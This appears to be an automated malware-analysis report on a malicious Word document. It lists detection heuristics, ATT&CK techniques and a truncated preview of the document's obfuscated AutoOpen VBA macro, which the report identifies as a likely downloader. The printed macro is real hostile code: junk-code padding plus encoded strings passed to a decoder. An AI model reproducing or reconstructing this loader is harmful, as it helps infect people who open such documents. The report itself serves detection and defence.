MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. Heuristics indicate the use of CreateObject, a common technique for launching payloads. The macro is heavily obfuscated, but its presence and the AutoOpen execution trigger strongly suggest it is a downloader for a second-stage payload.
Heuristics 8
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 42592 bytes |
SHA-256: a706a3a7a84cbc00ae7f02eb41294e767110f1737300263e164b5a90649fc883 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 15 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "uGXBkSHS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "YziKOZUwniqm"
Function ccUBzDdJRGw()
On Error Resume Next
Select Case wVTwY
Case 3614
jWBsH = Hex(14054 - CSng(52714) - 93370 + ChrW(YTEZhl))
pvvALi = sBiuE
End Select
OWzozuli = XPNtkk("ENrEAZQA2AGIAYgBlADMAYQBmADQAOABlAGYAZQA0ADEAMAAzAGYANQA5ADYAZABjADYANQA5AGIAZQBlAGEAZgA5AGIAOAA3ADUAMwAzAGMAOQA3ADkAMQAzADIANgAxAGIAMgA1ADAAZgAyADgAZAA3ADkAOQAzADYAMQBmADkANwA2AHoH", 4, 175)
Select Case kSDDI
Case 94360
cpZoa = Hex(49767 - CSng(44146) - 9700 + ChrW(NRXLj))
AdBzEP = rYMWr
End Select
Select Case cnDaAv
Case 72922
vrlaNz = Hex(23190 - CSng(9972) - 27266 + ChrW(vOjbHq))
HzJqb = FXXfzm
End Select
jWVsQQEmF = XPNtkk("KFA0ADYAOQA0ADcAZgA4ADMAlHtk", 3, 22)
Select Case EwmBG
Case 60027
vqAqjN = Hex(34796 - CSng(77931) - 82323 + ChrW(BjNVs))
cATzjC = TMSqsw
End Select
Select Case PIqkzB
Case 19986
MwXRrl = Hex(38936 - CSng(66162) - 85107 + ChrW(zHwJhu))
kUtOT = DPqdkz
End Select
jbCirdoTEW = XPNtkk("8Z9ANAA3ADEANQAyAWc%E", 4, 14)
Select Case DPUBik
Case 86659
ZDcIK = Hex(72896 - CSng(39257) - 23126 + ChrW(GbwbM))
QRsLUB = Hjkvm
End Select
Select Case pTFXG
Case 28941
BMMTon = Hex(7897 - CSng(75178) - 78510 + ChrW(uGRGNu))
doIoR = rtcWF
End Select
UJSzazL = XPNtkk(",vuDUAYgBhAGUAYgA3AGQANAAyAGEANwAxAGUAMwAwADUANwBhAGUANwAzEGohj", 4, 55)
Select Case ipiIpJ
Case 52515
FtHzJ = Hex(81734 - CSng(91844) - 94851 + ChrW(ozcYf))
SGwjnV = LQwHK
End Select
Select Case WRdKb
Case 20806
iBUnbh = Hex(51530 - CSng(54687) - 84700 + ChrW(ZKulqM))
OMwRhj = XipOF
End Select
iVkauYcF = XPNtkk("RraQAwADkAZgA4ADQAYgA0ADQANAA5ADYAOABlAGUAZQAyAGQAZgBlADIANABlADYAMAA2AGMANQBlADQANgAzAGQAZQA2AGMANwA5AosBZ", 4, 100)
Select Case pLqrj
Case 51868
vlLAzv = Hex(63733 - CSng(26134) - 48259 + ChrW(UjEBvP))
hzVvP = rLWWzN
End Select
Select Case izaiJ
Case 95722
juPoz = Hex(21682 - CSng(9202) - 39633 + ChrW(iMirFL))
ijKRz = ZWdQK
End Select
tHWHRIws = XPNtkk(",GqvA0ADQANQA2AGEANgAyADUAMQBlAGQAMQqcGj", 5, 32)
Select Case GdijvA
Case 52482
jAkwp = Hex(86907 - CSng(69919) - 55695 + ChrW(nOMWaw))
wfYcV = LhAROB
End Select
Select Case HsSnS
Case 45582
YvOKKd = Hex(12275 - CSng(4061) - 33779 + ChrW(dOQAuS))
QfAlH = GtrLJn
End Select
RidjCOu = XPNtkk("4ANwBiAGMAZgBlAGIANgBlADQAMgBjADgAYgAxAGUAMwA5ADYAYwBiAGMAZQBlADQANgBiADkAOQA0ADYANwBkADcAMAA4ADIAOAA5ADMAZAA4AGEAMABkAGUAMQNtqwu0h", 2, 123)
Select Case IWUZfi
Case 49109
bMYOb = Hex(963 - CSng(71680) - 21190 + ChrW(LMaMXn))
HQEHQ = SzOdi
End Select
Select Case QBhfM
Case 58455
wbazu = Hex(39613 - CSng(13583) - 40551 + ChrW(lFFJD))
vMAowQ = LAVqvH
End Select
crquHiNiABD = XPNtkk("ZUuDIAQQByAFkAUgBkAFEAPQA9AHwAYgAxADgAYwAyADMANwBmAGQANQA4ADYAMwBlAGQAOABkADgAOQBhAGUAOQA1ADQAMgBhAGMAMwAxADQANwAyAGIANAAzAGYANwA3ADYAYgA3ADIAMwA0ADIAOQA2ADMAMQAIOwRV", 4, 158)
Select Case saizvi
Case 97095
aoEjw = Hex(86568 - CSng(42204) - 88885 + ChrW(DwWGUi))
htwPa = EZzabL
End Select
Select Case crHfTR
Case 4928
jNuwY = Hex(58609 - CSng(84111) - 27209 + ChrW(wohqb))
vjBVI = iPlAz
End Select
lYlZE = XPNtkk("ntQA4ADcAOAAzADAAZAA3ADkAYgAzADgAYwBmAGQAZgBiAGIANQA0ADIANQBkADgANABlAGMAZgAwADgAMQA5AGIANQBhADUANgBjAGQAYgA3AGUAZgBhAD0KUc", 3, 117)
Select Case tFrSLC
Case 16830
bkpFS = Hex(
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.